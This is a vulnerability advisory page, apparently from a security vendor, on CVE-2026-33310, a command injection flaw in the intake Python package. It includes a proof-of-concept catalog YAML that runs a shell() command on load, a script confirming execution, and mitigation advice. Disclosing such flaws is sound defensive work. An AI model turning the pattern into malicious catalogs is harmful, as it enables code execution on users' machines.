CVE-2026-33310 is a high-severity (CVSS 8.8) OS Command Injection vulnerability in intake. No vendor fix is recorded yet; mitigation options are listed below.
Intake has a Command Injection via shell() Expansion in Parameter Defaults
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33310.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33310 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
intakeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.
Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.
During catalog loading and source access:
Intake resolves parameter default values The function responsible for expanding defaults processes the shell() syntax The shell expression triggers a subprocess execution Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.
Affected logic appears to involve:
expand_defaults()
and related parameter parsing mechanisms.
PoC
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
Attack Scenario
A potential attack scenario could be:
- An attacker publishes a malicious Intake catalog YAML file
- The victim downloads or loads the catalog
- The victim accesses a source entry in the catalog
- Parameter defaults are expanded
- The shell() expression triggers execution of the embedded command
Impact
If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:
- Git repositories
- shared datasets
- URLs
- data science workflows
- Any user loading the catalog could unknowingly execute commands with their local user privileges.
Recommendation
Possible mitigations could include:
- disabling shell() expansion by default
- requiring an explicit opt-in flag (e.g., allow_shell=True)
- restricting shell execution for catalogs loaded from untrusted sources Please let me know if additional information or testing is needed. I'm happy to assist with further analysis or validation.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | intake | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for intake, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of intake has shipped for CVE-2026-33310 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33310 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33310. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33310 in your dependencies?
O3 Security finds CVE-2026-33310 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.